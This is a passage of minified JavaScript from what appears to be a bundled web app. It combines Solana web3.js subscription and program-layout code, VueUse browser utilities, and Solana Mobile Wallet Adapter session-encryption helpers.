Set([t.callback]),state:"pending"}:i.callbacks.add(t.callback),this._subscriptionHashByClientSubscriptionId[r]=o,this._subscriptionDisposeFunctionsByClientSubscriptionId[r]=async()=>{delete this._subscriptionDisposeFunctionsByClientSubscriptionId[r],delete this._subscriptionHashByClientSubscriptionId[r];const s=this._subscriptionsByHash[o];jn(s!==void 0,`Could not find a \`Subscription\` when tearing down client subscription #${r}`),s.callbacks.delete(t.callback),await this._updateSubscriptions()},this._updateSubscriptions(),r}onAccountChange(t,n,r){const o=this._buildArgs([t.toBase58()],r||this._commitment||"finalized","base64");return this._makeSubscription({callback:n,method:"accountSubscribe",unsubscribeMethod:"accountUnsubscribe"},o)}async removeAccountChangeListener(t){await this._unsubscribeClientSubscription(t,"account change")}_wsOnProgramAccountNotification(t){const{result:n,subscription:r}=lt(t,qT);this._handleServerNotification(r,[{accountId:n.value.pubkey,accountInfo:n.value.account},n.context])}onProgramAccountChange(t,n,r,o){const i=this._buildArgs([t.toBase58()],r||this._commitment||"finalized","base64",o?{filters:o}:void 0);return this._makeSubscription({callback:n,method:"programSubscribe",unsubscribeMethod:"programUnsubscribe"},i)}async removeProgramAccountChangeListener(t){await this._unsubscribeClientSubscription(t,"program account change")}onLogs(t,n,r){const o=this._buildArgs([typeof t=="object"?{mentions:[t.toString()]}:t],r||this._commitment||"finalized");return this._makeSubscription({callback:n,method:"logsSubscribe",unsubscribeMethod:"logsUnsubscribe"},o)}async removeOnLogsListener(t){await this._unsubscribeClientSubscription(t,"logs")}_wsOnLogsNotification(t){const{result:n,subscription:r}=lt(t,_T);this._handleServerNotification(r,[n.value,n.context])}_wsOnSlotNotification(t){const{result:n,subscription:r}=lt(t,ST);this._handleServerNotification(r,[n])}onSlotChange(t){return this._makeSubscription({callback:t,method:"slotSubscribe",unsubscribeMethod:"slotUnsubscribe"},[])}async removeSlotChangeListener(t){await this._unsubscribeClientSubscription(t,"slot change")}_wsOnSlotUpdatesNotification(t){const{result:n,subscription:r}=lt(t,AT);this._handleServerNotification(r,[n])}onSlotUpdate(t){return this._makeSubscription({callback:t,method:"slotsUpdatesSubscribe",unsubscribeMethod:"slotsUpdatesUnsubscribe"},[])}async removeSlotUpdateListener(t){await this._unsubscribeClientSubscription(t,"slot update")}async _unsubscribeClientSubscription(t,n){const r=this._subscriptionDisposeFunctionsByClientSubscriptionId[t];r?await r():console.warn(`Ignored unsubscribe request because an active subscription with id \`${t}\` for '${n}' events could not be found.`)}_buildArgs(t,n,r,o){const i=n||this._commitment;if(i||r||o){let s={};r&&(s.encoding=r),i&&(s.commitment=i),o&&(s=Object.assign(s,o)),t.push(s)}return t}_buildArgsAtLeastConfirmed(t,n,r,o){const i=n||this._commitment;if(i&&!["confirmed","finalized"].includes(i))throw new Error("Using Connection with default commitment: `"+this._commitment+"`, but method requires at least `confirmed`");return this._buildArgs(t,n,r,o)}_wsOnSignatureNotification(t){const{result:n,subscription:r}=lt(t,MT);n.value!=="receivedSignature"&&this._subscriptionsAutoDisposedByRpc.add(r),this._handleServerNotification(r,n.value==="receivedSignature"?[{type:"received"},n.context]:[{type:"status",result:n.value},n.context])}onSignature(t,n,r){const o=this._buildArgs([t],r||this._commitment||"finalized"),i=this._makeSubscription({callback:(s,a)=>{if(s.type==="status"){n(s.result,a);try{this.removeSignatureListener(i)}catch{}}},method:"signatureSubscribe",unsubscribeMethod:"signatureUnsubscribe"},o);return i}onSignatureWithOptions(t,n,r){const{commitment:o,...i}={...r,commitment:r&&r.commitment||this._commitment||"finalized"},s=this._buildArgs([t],o,void 0,i),a=this._makeSubscription({callback:(l,u)=>{n(l,u);try{this.removeSignatureListener(a)}catch{}},method:"signatureSubscribe",unsubscribeMethod:"signatureUnsubscribe"},s);return a}async removeSignatureListener(t){await this._unsubscribeClientSubscription(t,"signature result")}_wsOnRootNotification(t){const{result:n,subscription:r}=lt(t,CT);this._handleServerNotification(r,[n])}onRootChange(t){return this._makeSubscription({callback:t,method:"rootSubscribe",unsubscribeMethod:"rootUnsubscribe"},[])}async removeRootChangeListener(t){await this._unsubscribeClientSubscription(t,"root change")}}Object.freeze({CreateLookupTable:{index:0,layout:Ct([zt("instruction"),Pu("recentSlot"),gn("bumpSeed")])},FreezeLookupTable:{index:1,layout:Ct([zt("instruction")])},ExtendLookupTable:{index:2,layout:Ct([zt("instruction"),Pu(),Wr(an(),hl(zt(),-8),"addresses")])},DeactivateLookupTable:{index:3,layout:Ct([zt("instruction")])},CloseLookupTable:{index:4,layout:Ct([zt("instruction")])}});new ht("AddressLookupTab1e1111111111111111111111111");Object.freeze({RequestUnits:{index:0,layout:Ct([gn("instruction"),zt("units"),zt("additionalFee")])},RequestHeapFrame:{index:1,layout:Ct([gn("instruction"),zt("bytes")])},SetComputeUnitLimit:{index:2,layout:Ct([gn("instruction"),zt("units")])},SetComputeUnitPrice:{index:3,layout:Ct([gn("instruction"),Pu("microLamports")])}});new ht("ComputeBudget111111111111111111111111111111");Ct([gn("numSignatures"),gn("padding"),Ko("signatureOffset"),Ko("signatureInstructionIndex"),Ko("publicKeyOffset"),Ko("publicKeyInstructionIndex"),Ko("messageDataOffset"),Ko("messageDataSize"),Ko("messageInstructionIndex")]);new ht("Ed25519SigVerify111111111111111111111111111");n1.utils.isValidPrivateKey;n1.getPublicKey;Ct([gn("numSignatures"),Ko("signatureOffset"),gn("signatureInstructionIndex"),Ko("ethAddressOffset"),gn("ethAddressInstructionIndex"),Ko("messageDataOffset"),Ko("messageDataSize"),gn("messageInstructionIndex"),xn(20,"ethAddress"),xn(64,"signature"),gn("recoveryId")]);new ht("KeccakSecp256k11111111111111111111111111111");var bC;new ht("StakeConfig11111111111111111111111111111111");class IC{constructor(t,n,r){this.unixTimestamp=void 0,this.epoch=void 0,this.custodian=void 0,this.unixTimestamp=t,this.epoch=n,this.custodian=r}}bC=IC;IC.default=new bC(0,0,ht.default);Object.freeze({Initialize:{index:0,layout:Ct([zt("instruction"),pZ(),mZ()])},Authorize:{index:1,layout:Ct([zt("instruction"),an("newAuthorized"),zt("stakeAuthorizationType")])},Delegate:{index:2,layout:Ct([zt("instruction")])},Split:{index:3,layout:Ct([zt("instruction"),go("lamports")])},Withdraw:{index:4,layout:Ct([zt("instruction"),go("lamports")])},Deactivate:{index:5,layout:Ct([zt("instruction")])},Merge:{index:7,layout:Ct([zt("instruction")])},AuthorizeWithSeed:{index:8,layout:Ct([zt("instruction"),an("newAuthorized"),zt("stakeAuthorizationType"),yu("authoritySeed"),an("authorityOwner")])}});new ht("Stake11111111111111111111111111111111111111");Object.freeze({InitializeAccount:{index:0,layout:Ct([zt("instruction"),vZ()])},Authorize:{index:1,layout:Ct([zt("instruction"),an("newAuthorized"),zt("voteAuthorizationType")])},Withdraw:{index:3,layout:Ct([zt("instruction"),go("lamports")])},UpdateValidatorIdentity:{index:4,layout:Ct([zt("instruction")])},AuthorizeWithSeed:{index:10,layout:Ct([zt("instruction"),gZ()])}});new ht("Vote111111111111111111111111111111111111111");new ht("Va1idator1nfo111111111111111111111111111111");et({name:it(),website:Jt(it()),details:Jt(it()),keybaseUsername:Jt(it())});new ht("Vote111111111111111111111111111111111111111");Ct([an("nodePubkey"),an("authorizedWithdrawer"),gn("commission"),Ar(),Wr(Ct([Ar("slot"),zt("confirmationCount")]),hl(zt(),-8),"votes"),gn("rootSlotValid"),Ar("rootSlot"),Ar(),Wr(Ct([Ar("epoch"),an("authorizedVoter")]),hl(zt(),-8),"authorizedVoters"),Ct([Wr(Ct([an("authorizedPubkey"),Ar("epochOfLastAuthorizedSwitch"),Ar("targetEpoch")]),32,"buf"),Ar("idx"),gn("isEmpty")],"priorVoters"),Ar(),Wr(Ct([Ar("epoch"),Ar("credits"),Ar("prevCredits")]),hl(zt(),-8),"epochCredits"),Ct([Ar("slot"),Ar("timestamp")],"lastTimestamp")]);const tN=1e9;var nN=!1,rN=Object.defineProperty,oN=Object.defineProperties,iN=Object.getOwnPropertyDescriptors,Rw=Object.getOwnPropertySymbols,sN=Object.prototype.hasOwnProperty,aN=Object.prototype.propertyIsEnumerable,Lw=(e,t,n)=>t in e?rN(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,lN=(e,t)=>{for(var n in t||(t={}))sN.call(t,n)&&Lw(e,n,t[n]);if(Rw)for(var n of Rw(t))aN.call(t,n)&&Lw(e,n,t[n]);return e},uN=(e,t)=>oN(e,iN(t));function Zw(e,t){var n;const r=ln();return Gn(()=>{r.value=e()},uN(lN({},t),{flush:(n=t==null?void 0:t.flush)!=null?n:"sync"})),Tl(r)}var Tw;const Tt=typeof window<"u",cN=e=>typeof e<"u",qC=e=>typeof e=="function",dN=e=>typeof e=="string",Du=()=>{},mg=Tt&&((Tw=window==null?void 0:window.navigator)==null?void 0:Tw.userAgent)&&/iP(ad|hone|od)/.test(window.navigator.userAgent);function Vo(e){return typeof e=="function"?e():d(e)}function u1(e,t){function n(...r){return new Promise((o,i)=>{Promise.resolve(e(()=>t.apply(this,r),{fn:t,thisArg:this,args:r})).then(o).catch(i)})}return n}const wC=e=>e();function fN(e,t={}){let n,r,o=Du;const i=a=>{clearTimeout(a),o(),o=Du};return a=>{const l=Vo(e),u=Vo(t.maxWait);return n&&i(n),l<=0||u!==void 0&&u<=0?(r&&(i(r),r=null),Promise.resolve(a())):new Promise((c,f)=>{o=t.rejectOnCancel?f:c,u&&!r&&(r=setTimeout(()=>{n&&i(n),r=null,c(a())},u)),n=setTimeout(()=>{r&&i(r),r=null,c(a())},l)})}}function hN(e,t=!0,n=!0,r=!1){let o=0,i,s=!0,a=Du,l;const u=()=>{i&&(clearTimeout(i),i=void 0,a(),a=Du)};return f=>{const p=Vo(e),m=Date.now()-o,g=()=>l=f();return u(),p<=0?(o=Date.now(),g()):(m>p&&(n||!s)?(o=Date.now(),g()):t&&(l=new Promise((v,I)=>{a=r?I:v,i=setTimeout(()=>{o=Date.now(),s=!0,v(g()),u()},Math.max(0,p-m))})),!n&&!i&&(i=setTimeout(()=>s=!0,p)),s=!1,l)}}function pN(e=wC){const t=D(!0);function n(){t.value=!1}function r(){t.value=!0}const o=(...i)=>{t.value&&e(...i)};return{isActive:Tl(t),pause:n,resume:r,eventFilter:o}}function mN(e){return e}function vc(e){return lb()?(ub(e),!0):!1}function vN(e,t=200,n={}){return u1(fN(t,n),e)}function gN(e,t=200,n={}){const r=D(e.value),o=vN(()=>{r.value=e.value},t,n);return Ce(e,()=>o()),r}function SC(e,t=200,n=!1,r=!0,o=!1){return u1(hN(t,n,r,o),e)}function yN(e){return typeof e=="function"?N(e):D(e)}function c1(e,t=!0){bt()?mt(e):t?e():$e(e)}function fa(e,t,n={}){const{immediate:r=!0}=n,o=D(!1);let i=null;function s(){i&&(clearTimeout(i),i=null)}function a(){o.value=!1,s()}function l(...u){s(),o.value=!0,i=setTimeout(()=>{o.value=!1,i=null,e(...u)},Vo(t))}return r&&(o.value=!0,Tt&&l()),vc(a),{isPending:Tl(o),start:l,stop:a}}var Nw=Object.getOwnPropertySymbols,bN=Object.prototype.hasOwnProperty,IN=Object.prototype.propertyIsEnumerable,qN=(e,t)=>{var n={};for(var r in e)bN.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(e!=null&&Nw)for(var r of Nw(e))t.indexOf(r)<0&&IN.call(e,r)&&(n[r]=e[r]);return n};function wN(e,t,n={}){const r=n,{eventFilter:o=wC}=r,i=qN(r,["eventFilter"]);return Ce(e,u1(o,t),i)}var SN=Object.defineProperty,EN=Object.defineProperties,AN=Object.getOwnPropertyDescriptors,qp=Object.getOwnPropertySymbols,EC=Object.prototype.hasOwnProperty,AC=Object.prototype.propertyIsEnumerable,jw=(e,t,n)=>t in e?SN(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,MN=(e,t)=>{for(var n in t||(t={}))EC.call(t,n)&&jw(e,n,t[n]);if(qp)for(var n of qp(t))AC.call(t,n)&&jw(e,n,t[n]);return e},CN=(e,t)=>EN(e,AN(t)),kN=(e,t)=>{var n={};for(var r in e)EC.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(e!=null&&qp)for(var r of qp(e))t.indexOf(r)<0&&AC.call(e,r)&&(n[r]=e[r]);return n};function xN(e,t,n={}){const r=n,{eventFilter:o}=r,i=kN(r,["eventFilter"]),{eventFilter:s,pause:a,resume:l,isActive:u}=pN(o);return{stop:wN(e,t,CN(MN({},i),{eventFilter:s})),pause:a,resume:l,isActive:u}}function io(e){var t;const n=Vo(e);return(t=n==null?void 0:n.$el)!=null?t:n}const di=Tt?window:void 0,ON=Tt?window.document:void 0,zN=Tt?window.navigator:void 0;function pn(...e){let t,n,r,o;if(dN(e[0])||Array.isArray(e[0])?([n,r,o]=e,t=di):[t,n,r,o]=e,!t)return Du;Array.isArray(n)||(n=[n]),Array.isArray(r)||(r=[r]);const i=[],s=()=>{i.forEach(c=>c()),i.length=0},a=(c,f,p,m)=>(c.addEventListener(f,p,m),()=>c.removeEventListener(f,p,m)),l=Ce(()=>[io(t),Vo(o)],([c,f])=>{s(),c&&i.push(...n.flatMap(p=>r.map(m=>a(c,p,m,f))))},{immediate:!0,flush:"post"}),u=()=>{l(),s()};return vc(u),u}let Ww=!1;function rf(e,t,n={}){const{window:r=di,ignore:o=[],capture:i=!0,detectIframe:s=!1}=n;if(!r)return;mg&&!Ww&&(Ww=!0,Array.from(r.document.body.children).forEach(p=>p.addEventListener("click",Du)));let a=!0;const l=p=>o.some(m=>{if(typeof m=="string")return Array.from(r.document.querySelectorAll(m)).some(g=>g===p.target||p.composedPath().includes(g));{const g=io(m);return g&&(p.target===g||p.composedPath().includes(g))}}),c=[pn(r,"click",p=>{const m=io(e);if(!(!m||m===p.target||p.composedPath().includes(m))){if(p.detail===0&&(a=!l(p)),!a){a=!0;return}t(p)}},{passive:!0,capture:i}),pn(r,"pointerdown",p=>{const m=io(e);m&&(a=!p.composedPath().includes(m)&&!l(p))},{passive:!0}),s&&pn(r,"blur",p=>{var m;const g=io(e);((m=r.document.activeElement)==null?void 0:m.tagName)==="IFRAME"&&!(g!=null&&g.contains(r.document.activeElement))&&t(p)})].filter(Boolean);return()=>c.forEach(p=>p())}const KN=e=>typeof e=="function"?e:typeof e=="string"?t=>t.key===e:Array.isArray(e)?t=>e.includes(t.key):()=>!0;function Gw(...e){let t,n,r={};e.length===3?(t=e[0],n=e[1],r=e[2]):e.length===2?typeof e[1]=="object"?(t=!0,n=e[0],r=e[1]):(t=e[0],n=e[1]):(t=!0,n=e[0]);const{target:o=di,eventName:i="keydown",passive:s=!1}=r,a=KN(t);return pn(o,i,u=>{a(u)&&n(u)},s)}function d1(e,t=!1){const n=D(),r=()=>n.value=!!e();return r(),c1(r,t),n}function RN(e={}){const{navigator:t=zN,read:n=!1,source:r,copiedDuring:o=1500,legacy:i=!1}=e,s=["copy","cut"],a=d1(()=>t&&"clipboard"in t),l=N(()=>a.value||i),u=D(""),c=D(!1),f=fa(()=>c.value=!1,o);function p(){a.value?t.clipboard.readText().then(I=>{u.value=I}):u.value=v()}if(l.value&&n)for(const I of s)pn(I,p);async function m(I=Vo(r)){l.value&&I!=null&&(a.value?await t.clipboard.writeText(I):g(I),u.value=I,c.value=!0,f.start())}function g(I){const q=document.createElement("textarea");q.value=I??"",q.style.position="absolute",q.style.opacity="0",document.body.appendChild(q),q.select(),document.execCommand("copy"),q.remove()}function v(){var I,q,M;return(M=(q=(I=document==null?void 0:document.getSelection)==null?void 0:I.call(document))==null?void 0:q.toString())!=null?M:""}return{isSupported:l,text:u,copied:c,copy:m}}function LN(e){return JSON.parse(JSON.stringify(e))}const vg=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof Xs<"u"?Xs:typeof self<"u"?self:{},gg="__vueuse_ssr_handlers__";vg[gg]=vg[gg]||{};const ZN=vg[gg];function TN(e,t){return ZN[e]||t}function NN(e){return e==null?"any":e instanceof Set?"set":e instanceof Map?"map":e instanceof Date?"date":typeof e=="boolean"?"boolean":typeof e=="string"?"string":typeof e=="object"?"object":Number.isNaN(e)?"any":"number"}var jN=Object.defineProperty,Yw=Object.getOwnPropertySymbols,WN=Object.prototype.hasOwnProperty,GN=Object.prototype.propertyIsEnumerable,Bw=(e,t,n)=>t in e?jN(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,Jw=(e,t)=>{for(var n in t||(t={}))WN.call(t,n)&&Bw(e,n,t[n]);if(Yw)for(var n of Yw(t))GN.call(t,n)&&Bw(e,n,t[n]);return e};const YN={boolean:{read:e=>e==="true",write:e=>String(e)},object:{read:e=>JSON.parse(e),write:e=>JSON.stringify(e)},number:{read:e=>Number.parseFloat(e),write:e=>String(e)},any:{read:e=>e,write:e=>String(e)},string:{read:e=>e,write:e=>String(e)},map:{read:e=>new Map(JSON.parse(e)),write:e=>JSON.stringify(Array.from(e.entries()))},set:{read:e=>new Set(JSON.parse(e)),write:e=>JSON.stringify(Array.from(e))},date:{read:e=>new Date(e),write:e=>e.toISOString()}},Vw="vueuse-storage";function BN(e,t,n,r={}){var o;const{flush:i="pre",deep:s=!0,listenToStorageChanges:a=!0,writeDefaults:l=!0,mergeDefaults:u=!1,shallow:c,window:f=di,eventFilter:p,onError:m=j=>{console.error(j)}}=r,g=(c?ln:D)(t);if(!n)try{n=TN("getDefaultStorage",()=>{var j;return(j=di)==null?void 0:j.localStorage})()}catch(j){m(j)}if(!n)return g;const v=Vo(t),I=NN(v),q=(o=r.serializer)!=null?o:YN[I],{pause:M,resume:E}=xN(g,()=>x(g.value),{flush:i,deep:s,eventFilter:p});return f&&a&&(pn(f,"storage",W),pn(f,Vw,K)),W(),g;function x(j){try{if(j==null)n.removeItem(e);else{const H=q.write(j),P=n.getItem(e);P!==H&&(n.setItem(e,H),f&&f.dispatchEvent(new CustomEvent(Vw,{detail:{key:e,oldValue:P,newValue:H,storageArea:n}})))}}catch(H){m(H)}}function R(j){const H=j?j.newValue:n.getItem(e);if(H==null)return l&&v!==null&&n.setItem(e,q.write(v)),v;if(!j&&u){const P=q.read(H);return qC(u)?u(P,v):I==="object"&&!Array.isArray(P)?Jw(Jw({},v),P):P}else return typeof H!="string"?H:q.read(H)}function K(j){W(j.detail)}function W(j){if(!(j&&j.storageArea!==n)){if(j&&j.key==null){g.value=v;return}if(!(j&&j.key!==e)){M();try{g.value=R(j)}catch(H){m(H)}finally{j?$e(E):E()}}}}}function JN(e,t,{window:n=di,initialValue:r=""}={}){const o=D(r),i=N(()=>{var s;return io(t)||((s=n==null?void 0:n.document)==null?void 0:s.documentElement)});return Ce([i,()=>Vo(e)],([s,a])=>{var l;if(s&&n){const u=(l=n.getComputedStyle(s).getPropertyValue(a))==null?void 0:l.trim();o.value=u||r}},{immediate:!0}),Ce(o,s=>{var a;(a=i.value)!=null&&a.style&&i.value.style.setProperty(Vo(e),s)}),o}function VN({document:e=ON}={}){if(!e)return D("visible");const t=D(e.visibilityState);return pn(e,"visibilitychange",()=>{t.value=e.visibilityState}),t}var Uw=Object.getOwnPropertySymbols,UN=Object.prototype.hasOwnProperty,FN=Object.prototype.propertyIsEnumerable,HN=(e,t)=>{var n={};for(var r in e)UN.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(e!=null&&Uw)for(var r of Uw(e))t.indexOf(r)<0&&FN.call(e,r)&&(n[r]=e[r]);return n};function On(e,t,n={}){const r=n,{window:o=di}=r,i=HN(r,["window"]);let s;const a=d1(()=>o&&"ResizeObserver"in o),l=()=>{s&&(s.disconnect(),s=void 0)},u=Ce(()=>io(e),f=>{l(),a.value&&o&&f&&(s=new ResizeObserver(t),s.observe(f,i))},{immediate:!0,flush:"post"}),c=()=>{l(),u()};return vc(c),{isSupported:a,stop:c}}function Fw(e,t={}){const{reset:n=!0,windowResize:r=!0,windowScroll:o=!0,immediate:i=!0}=t,s=D(0),a=D(0),l=D(0),u=D(0),c=D(0),f=D(0),p=D(0),m=D(0);function g(){const v=io(e);if(!v){n&&(s.value=0,a.value=0,l.value=0,u.value=0,c.value=0,f.value=0,p.value=0,m.value=0);return}const I=v.getBoundingClientRect();s.value=I.height,a.value=I.bottom,l.value=I.left,u.value=I.right,c.value=I.top,f.value=I.width,p.value=I.x,m.value=I.y}return On(e,g),Ce(()=>io(e),v=>!v&&g()),o&&pn("scroll",g,{capture:!0,passive:!0}),r&&pn("resize",g,{passive:!0}),c1(()=>{i&&g()}),{height:s,bottom:a,left:l,right:u,top:c,width:f,x:p,y:m,update:g}}function PN(e,t,n={}){const{window:r=di}=n;return BN(e,t,r==null?void 0:r.localStorage,n)}var Hw=Object.getOwnPropertySymbols,DN=Object.prototype.hasOwnProperty,XN=Object.prototype.propertyIsEnumerable,QN=(e,t)=>{var n={};for(var r in e)DN.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(e!=null&&Hw)for(var r of Hw(e))t.indexOf(r)<0&&XN.call(e,r)&&(n[r]=e[r]);return n};function MC(e,t,n={}){const r=n,{window:o=di}=r,i=QN(r,["window"]);let s;const a=d1(()=>o&&"MutationObserver"in o),l=()=>{s&&(s.disconnect(),s=void 0)},u=Ce(()=>io(e),f=>{l(),a.value&&o&&f&&(s=new MutationObserver(t),s.observe(f,i))},{immediate:!0}),c=()=>{l(),u()};return vc(c),{isSupported:a,stop:c}}var Pw;(function(e){e.UP="UP",e.RIGHT="RIGHT",e.DOWN="DOWN",e.LEFT="LEFT",e.NONE="NONE"})(Pw||(Pw={}));function CC(e){const t=window.getComputedStyle(e);if(t.overflowX==="scroll"||t.overflowY==="scroll"||t.overflowX==="auto"&&e.clientHeight<e.scrollHeight||t.overflowY==="auto"&&e.clientWidth<e.scrollWidth)return!0;{const n=e.parentNode;return!n||n.tagName==="BODY"?!1:CC(n)}}function _N(e){const t=e||window.event,n=t.target;return CC(n)?!1:t.touches.length>1?!0:(t.preventDefault&&t.preventDefault(),!1)}function $N(e,t=!1){const n=D(t);let r=null,o;Ce(yN(e),a=>{if(a){const l=a;o=l.style.overflow,n.value&&(l.style.overflow="hidden")}},{immediate:!0});const i=()=>{const a=Vo(e);!a||n.value||(mg&&(r=pn(a,"touchmove",l=>{_N(l)},{passive:!1})),a.style.overflow="hidden",n.value=!0)},s=()=>{const a=Vo(e);!a||!n.value||(mg&&(r==null||r()),a.style.overflow=o,n.value=!1)};return vc(s),N({get(){return n.value},set(a){a?i():s()}})}var ej=Object.defineProperty,Dw=Object.getOwnPropertySymbols,tj=Object.prototype.hasOwnProperty,nj=Object.prototype.propertyIsEnumerable,Xw=(e,t,n)=>t in e?ej(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,rj=(e,t)=>{for(var n in t||(t={}))tj.call(t,n)&&Xw(e,n,t[n]);if(Dw)for(var n of Dw(t))nj.call(t,n)&&Xw(e,n,t[n]);return e};const oj={easeInSine:[.12,0,.39,0],easeOutSine:[.61,1,.88,1],easeInOutSine:[.37,0,.63,1],easeInQuad:[.11,0,.5,0],easeOutQuad:[.5,1,.89,1],easeInOutQuad:[.45,0,.55,1],easeInCubic:[.32,0,.67,0],easeOutCubic:[.33,1,.68,1],easeInOutCubic:[.65,0,.35,1],easeInQuart:[.5,0,.75,0],easeOutQuart:[.25,1,.5,1],easeInOutQuart:[.76,0,.24,1],easeInQuint:[.64,0,.78,0],easeOutQuint:[.22,1,.36,1],easeInOutQuint:[.83,0,.17,1],easeInExpo:[.7,0,.84,0],easeOutExpo:[.16,1,.3,1],easeInOutExpo:[.87,0,.13,1],easeInCirc:[.55,0,1,.45],easeOutCirc:[0,.55,.45,1],easeInOutCirc:[.85,0,.15,1],easeInBack:[.36,0,.66,-.56],easeOutBack:[.34,1.56,.64,1],easeInOutBack:[.68,-.6,.32,1.6]};rj({linear:mN},oj);function kC(e,t,n,r={}){var o,i,s;const{clone:a=!1,passive:l=!1,eventName:u,deep:c=!1,defaultValue:f}=r,p=bt(),m=n||(p==null?void 0:p.emit)||((o=p==null?void 0:p.$emit)==null?void 0:o.bind(p))||((s=(i=p==null?void 0:p.proxy)==null?void 0:i.$emit)==null?void 0:s.bind(p==null?void 0:p.proxy));let g=u;t||(t="modelValue"),g=u||g||`update:${t.toString()}`;const v=q=>a?qC(a)?a(q):LN(q):q,I=()=>cN(e[t])?v(e[t]):f;if(l){const q=I(),M=D(q);return Ce(()=>e[t],E=>M.value=v(E)),Ce(M,E=>{(E!==e[t]||c)&&m(g,E)},{deep:c}),M}else return N({get(){return I()},set(q){m(g,q)}})}function ij({window:e=di}={}){if(!e)return D(!1);const t=D(e.document.hasFocus());return pn(e,"blur",()=>{t.value=!1}),pn(e,"focus",()=>{t.value=!0}),t}function sj(e={}){const{window:t=di,initialWidth:n=1/0,initialHeight:r=1/0,listenOrientation:o=!0,includeScrollbar:i=!0}=e,s=D(n),a=D(r),l=()=>{t&&(i?(s.value=t.innerWidth,a.value=t.innerHeight):(s.value=t.document.documentElement.clientWidth,a.value=t.document.documentElement.clientHeight))};return l(),c1(l),pn("resize",l,{passive:!0}),o&&pn("orientationchange",l,{passive:!0}),{width:s,height:a}}var aj=Object.defineProperty,lj=(e,t,n)=>t in e?aj(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,xC=(e,t,n)=>(lj(e,typeof t!="symbol"?t+"":t,n),n);class OC extends ar{constructor(){super(...arguments),xC(this,"name","WalletNotSelectedError")}}class uj extends ar{constructor(){super(...arguments),xC(this,"name","WalletNotSelectedError")}}const ha={ERROR_ASSOCIATION_PORT_OUT_OF_RANGE:"ERROR_ASSOCIATION_PORT_OUT_OF_RANGE",ERROR_FORBIDDEN_WALLET_BASE_URL:"ERROR_FORBIDDEN_WALLET_BASE_URL",ERROR_SECURE_CONTEXT_REQUIRED:"ERROR_SECURE_CONTEXT_REQUIRED",ERROR_SESSION_CLOSED:"ERROR_SESSION_CLOSED",ERROR_SESSION_TIMEOUT:"ERROR_SESSION_TIMEOUT",ERROR_WALLET_NOT_FOUND:"ERROR_WALLET_NOT_FOUND"};class pa extends Error{constructor(...t){const[n,r,o]=t;super(r),this.code=n,this.data=o,this.name="SolanaMobileWalletAdapterError"}}class zC extends Error{constructor(...t){const[n,r,o,i]=t;super(o),this.code=r,this.data=i,this.jsonRpcMessageId=n,this.name="SolanaMobileWalletAdapterProtocolError"}}function wo(e,t,n,r){function o(i){return i instanceof n?i:new n(function(s){s(i)})}return new(n||(n=Promise))(function(i,s){function a(c){try{u(r.next(c))}catch(f){s(f)}}function l(c){try{u(r.throw(c))}catch(f){s(f)}}function u(c){c.done?i(c.value):o(c.value).then(a,l)}u((r=r.apply(e,t||[])).next())})}function cj(e,t){return wo(this,void 0,void 0,function*(){const n=yield crypto.subtle.exportKey("raw",e),r=yield crypto.subtle.sign({hash:"SHA-256",name:"ECDSA"},t,n),o=new Uint8Array(n.byteLength+r.byteLength);return o.set(new Uint8Array(n),0),o.set(new Uint8Array(r),n.byteLength),o})}const bu=4;function dj(e){if(e>=4294967296)throw new Error("Outbound sequence number overflow. The maximum sequence number is 32-bytes.");const t=new ArrayBuffer(bu);return new DataView(t).setUint32(0,e,!1),new Uint8Array(t)}function fj(){return wo(this,void 0,void 0,function*(){return yield crypto.subtle.generateKey({name:"ECDSA",namedCurve:"P-256"},!1,["sign"])})}function hj(){return wo(this,void 0,void 0,function*(){return yield crypto.subtle.generateKey({name:"ECDH",namedCurve:"P-256"},!1,["deriveKey","deriveBits"])})}const yg=12;function pj(e,t){return wo(this,void 0,void 0,function*(){const n=JSON.stringify(e),r=dj(e.id),o=new Uint8Array(yg);crypto.getRandomValues(o);const i=yield crypto.subtle.encrypt(KC(r,o),t,new TextEncoder().encode(n)),s=new Uint8Array(r.byteLength+o.byteLength+i.byteLength);return s.set(new Uint8Array(r),0),s.set(new Uint8Array(o),r.byteLength),s.set(new Uint8Array(i),r.byteLength+o.byteLength),s})}function mj(e,t){return wo(this,void 0,void 0,function*(){const n=e.slice(0,bu),r=e.slice(bu,bu+yg),o=e.slice(bu+yg),i=yield crypto.subtle.decrypt(KC(n,r),t,o),s=vj().decode(i),a=JSON.parse(s);if(Object.hasOwnProperty.call(a,"error"))throw new zC(a.id,a.error.code,a.error.message);return a})}function KC(e,t){return{additionalData:e,iv:t,name:"AES-GCM",tagLength:128}}let Jv;function vj(){return Jv===void 0&&(Jv=new TextDecoder("utf-8")),Jv}function gj(e,t,n){return wo(this,void 0,void 0,function*(){const[r,o]=yield Promise.all([crypto.subtle.exportKey("raw",t),crypto.subtle.importKey("raw",e,{name:"ECDH",namedCurve:"P-256"},!1,[])]),i=yield crypto.subtle.deriveBits({name:"ECDH",public:o},n,256),s=yield crypto.subtle.importKey("raw",i,"HKDF",!1,["deriveKey"]);return yield crypto.subtle.deriveKey({name:"HKDF",hash:"SHA-256",salt:new Uint8Array(r),info:new Uint8Array},s,{name:"AES-GCM",length:128},!1,["encrypt","decrypt"])})}function yj(){return RC(49152+Math.floor(Math.random()*16384))}function RC(e){if(e<49152||e>65535)throw new pa(ha.ERROR_ASSOCIATION_PORT_OUT_OF_RANGE,`Association port number must be between 49152 and 65535. ${e} given.`,{port:e});return e}function bj(e){let t="";const n=new Uint8Array(e),r=n.byteLength;for(let o=0;o<r;o++)t+=String.fromCharCode(n[o]);return window.btoa(t)}function Ij(e){return e.replace(/[/+=]/g,t=>({"/":"_","+":"-","=":"."})[t])}const qj="solana-wallet";function Qw(e){return e.replace(/(^\/+|\/+$)/g,"").split("/")}function wj(e,t){let n=null;if(t){try{n=new URL(t)}catch{}if((n==null?void 0:n.protocol)!=="https:")throw new pa(ha.ERROR_FORBIDDEN_WALLET_BASE_URL,"Base URLs supplied by wallets must be valid `https` URLs")}n||(n=new URL(`${qj}:/`));const 